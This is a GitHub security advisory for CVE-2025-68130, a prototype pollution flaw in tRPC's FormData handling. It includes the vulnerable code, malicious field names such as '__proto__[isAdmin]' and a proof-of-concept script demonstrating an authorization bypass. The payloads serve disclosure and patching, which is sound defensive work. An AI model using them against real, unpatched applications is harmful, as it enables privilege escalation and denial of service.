ghsa-43p4-m455-4f4j
Vulnerability from github
Published
2025-12-16 19:37
Modified
2025-12-16 19:37
Summary
tRPC has possible prototype pollution in `experimental_nextAppDirCaller`
Details

Note that this vulnerability is only present when using experimental_caller / experimental_nextAppDirCaller.

Summary

A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.

Affected Versions

  • Package: @trpc/server
  • Affected Versions: >=10.27.0
  • Vulnerable Component: formDataToObject() in src/unstable-core-do-not-import/http/formDataToObject.ts

Vulnerability Details

Root Cause

The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like __proto__, constructor, or prototype.

Vulnerable Code

```typescript // packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts function set(obj, path, value) { if (path.length > 1) { const newPath = [...path]; const key = newPath.shift(); // ← No validation of dangerous keys const nextKey = newPath[0];

if (!obj[key]) {  // ← Accesses obj["__proto__"] which returns Object.prototype
  obj[key] = isNumberString(nextKey) ? [] : {};
}

set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype
return;

} // ... }

export function formDataToObject(formData) { const obj = {}; for (const [key, value] of formData.entries()) { const parts = key.split(/[.[]]/).filter(Boolean); // Splits "proto[isAdmin]" → ["proto", "isAdmin"] set(obj, parts, value); } return obj; } ```

Attack Vector

When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:

typescript // packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89 if (normalizeFormData && input instanceof FormData) { input = formDataToObject(input); // ← Vulnerable call }

An attacker can craft FormData with malicious field names:

javascript const formData = new FormData(); formData.append("__proto__[isAdmin]", "true"); formData.append("__proto__[role]", "superadmin");

When processed, this pollutes Object.prototype:

javascript {}.isAdmin // → "true" {}.role // → "superadmin"

Proof of Concept

```bash

Step 1: Create the project directory

mkdir trpc-vuln-poc cd trpc-vuln-poc

Step 2: Initialize npm

npm init -y

Step 3: Install vulnerable tRPC

npm install @trpc/server@11.7.2

Step 4: Create the test file

```

Test.js

```javascript const { formDataToObject } = require('@trpc/server/unstable-core-do-not-import');

console.log("=== PoC Prototype Pollution en tRPC ===\n");

console.log("[1] Estado inicial:"); console.log(" {}.isAdmin =", {}.isAdmin);

const fd = new FormData(); fd.append("proto[isAdmin]", "true"); fd.append("proto[role]", "superadmin"); fd.append("username", "attacker");

console.log("\n[2] FormData malicioso:"); console.log(' proto[isAdmin] = "true"'); console.log(' proto[role] = "superadmin"');

console.log("\n[3] Llamando formDataToObject()..."); const result = formDataToObject(fd); console.log(" Resultado:", JSON.stringify(result));

console.log("\n[4] Después del ataque:"); console.log(" {}.isAdmin =", {}.isAdmin); console.log(" {}.role =", {}.role);

const user = { id: 1, name: "john" }; console.log("\n[5] Impacto en autorización:"); console.log(" Usuario normal:", JSON.stringify(user)); console.log(" user.isAdmin =", user.isAdmin);

if (user.isAdmin) { console.log("\n VULNERABLE - Authorization bypass exitoso!"); } else { console.log("\n ✓ Seguro"); } ```

Impact

Authorization Bypass (HIGH)

Many applications check user permissions using property access:

javascript // Vulnerable pattern if (user.isAdmin) { // Grant admin access }

After pollution, all objects will have isAdmin: "true", bypassing authorization.

Denial of Service (MEDIUM)

Polluting commonly used property names can crash applications:

javascript formData.append("__proto__[toString]", "not_a_function"); // All subsequent .toString() calls will fail

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@trpc/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.27.0"
            },
            {
              "fixed": "10.45.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@trpc/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68130"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-16T19:37:57Z",
    "nvd_published_at": "2025-12-16T17:16:11Z",
    "severity": "HIGH"
  },
  "details": "\u003e Note that this vulnerability is only present when using `experimental_caller` / `experimental_nextAppDirCaller`.\n\n## Summary\n\nA Prototype Pollution vulnerability exists in `@trpc/server`\u0027s `formDataToObject` function, which is used by the Next.js App Router adapter. An attacker can pollute `Object.prototype` by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.\n\n## Affected Versions\n\n- **Package:** `@trpc/server`\n- **Affected Versions:** \u003e=10.27.0\n- **Vulnerable Component:** `formDataToObject()` in `src/unstable-core-do-not-import/http/formDataToObject.ts`\n\n## Vulnerability Details\n\n### Root Cause\n\nThe `set()` function in `formDataToObject.ts` recursively processes FormData field names containing bracket/dot notation (e.g., `user[name]`, `user.address.city`) to create nested objects. However, it does **not** validate or sanitize dangerous keys like `__proto__`, `constructor`, or `prototype`.\n\n### Vulnerable Code\n\n```typescript\n// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts\nfunction set(obj, path, value) {\n  if (path.length \u003e 1) {\n    const newPath = [...path];\n    const key = newPath.shift();  // \u2190 No validation of dangerous keys\n    const nextKey = newPath[0];\n\n    if (!obj[key]) {  // \u2190 Accesses obj[\"__proto__\"] which returns Object.prototype\n      obj[key] = isNumberString(nextKey) ? [] : {};\n    }\n    \n    set(obj[key], newPath, value);  // \u2190 Recursively pollutes Object.prototype\n    return;\n  }\n  // ...\n}\n\nexport function formDataToObject(formData) {\n  const obj = {};\n  for (const [key, value] of formData.entries()) {\n    const parts = key.split(/[\\.\\[\\]]/).filter(Boolean);  // Splits \"__proto__[isAdmin]\" \u2192 [\"__proto__\", \"isAdmin\"]\n    set(obj, parts, value);\n  }\n  return obj;\n}\n```\n\n### Attack Vector\n\nWhen a user submits a form to a tRPC mutation using Next.js Server Actions, the `nextAppDirCaller` adapter processes the FormData:\n\n```typescript\n// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89\nif (normalizeFormData \u0026\u0026 input instanceof FormData) {\n  input = formDataToObject(input);  // \u2190 Vulnerable call\n}\n```\n\nAn attacker can craft FormData with malicious field names:\n\n```javascript\nconst formData = new FormData();\nformData.append(\"__proto__[isAdmin]\", \"true\");\nformData.append(\"__proto__[role]\", \"superadmin\");\n```\n\nWhen processed, this pollutes `Object.prototype`:\n\n```javascript\n{}.isAdmin        // \u2192 \"true\"\n{}.role           // \u2192 \"superadmin\"\n```\n\n## Proof of Concept\n\n```bash\n# Step 1: Create the project directory\n\nmkdir trpc-vuln-poc\ncd trpc-vuln-poc\n\n# Step 2: Initialize npm\n\nnpm init -y\n\n# Step 3: Install vulnerable tRPC\n\nnpm install @trpc/server@11.7.2\n\n# Step 4: Create the test file \n```\n---\n\n### Test.js\n\n```javascript\nconst { formDataToObject } = require(\u0027@trpc/server/unstable-core-do-not-import\u0027);\n\nconsole.log(\"=== PoC Prototype Pollution en tRPC ===\\n\");\n\nconsole.log(\"[1] Estado inicial:\");\nconsole.log(\"    {}.isAdmin =\", {}.isAdmin);\n\nconst fd = new FormData();\nfd.append(\"__proto__[isAdmin]\", \"true\");\nfd.append(\"__proto__[role]\", \"superadmin\");\nfd.append(\"username\", \"attacker\");\n\nconsole.log(\"\\n[2] FormData malicioso:\");\nconsole.log(\u0027    __proto__[isAdmin] = \"true\"\u0027);\nconsole.log(\u0027    __proto__[role] = \"superadmin\"\u0027);\n\nconsole.log(\"\\n[3] Llamando formDataToObject()...\");\nconst result = formDataToObject(fd);\nconsole.log(\"    Resultado:\", JSON.stringify(result));\n\nconsole.log(\"\\n[4] Despu\u00e9s del ataque:\");\nconsole.log(\"    {}.isAdmin =\", {}.isAdmin);\nconsole.log(\"    {}.role =\", {}.role);\n\nconst user = { id: 1, name: \"john\" };\nconsole.log(\"\\n[5] Impacto en autorizaci\u00f3n:\");\nconsole.log(\"    Usuario normal:\", JSON.stringify(user));\nconsole.log(\"    user.isAdmin =\", user.isAdmin);\n\nif (user.isAdmin) {\n    console.log(\"\\n    VULNERABLE - Authorization bypass exitoso!\");\n} else {\n    console.log(\"\\n    \u2713 Seguro\");\n}\n```\n\n## Impact\n\n### Authorization Bypass (HIGH)\n\nMany applications check user permissions using property access:\n\n```javascript\n// Vulnerable pattern\nif (user.isAdmin) {\n  // Grant admin access\n}\n```\n\nAfter pollution, **all objects** will have `isAdmin: \"true\"`, bypassing authorization.\n\n### Denial of Service (MEDIUM)\n\nPolluting commonly used property names can crash applications:\n\n```javascript\nformData.append(\"__proto__[toString]\", \"not_a_function\");\n// All subsequent .toString() calls will fail\n```",
  "id": "GHSA-43p4-m455-4f4j",
  "modified": "2025-12-16T19:37:57Z",
  "published": "2025-12-16T19:37:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trpc/trpc/security/advisories/GHSA-43p4-m455-4f4j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68130"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trpc/trpc/commit/78629d524968ef8db5a7adf68d8b95a44369d77e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trpc/trpc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "tRPC has possible prototype pollution in `experimental_nextAppDirCaller`"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…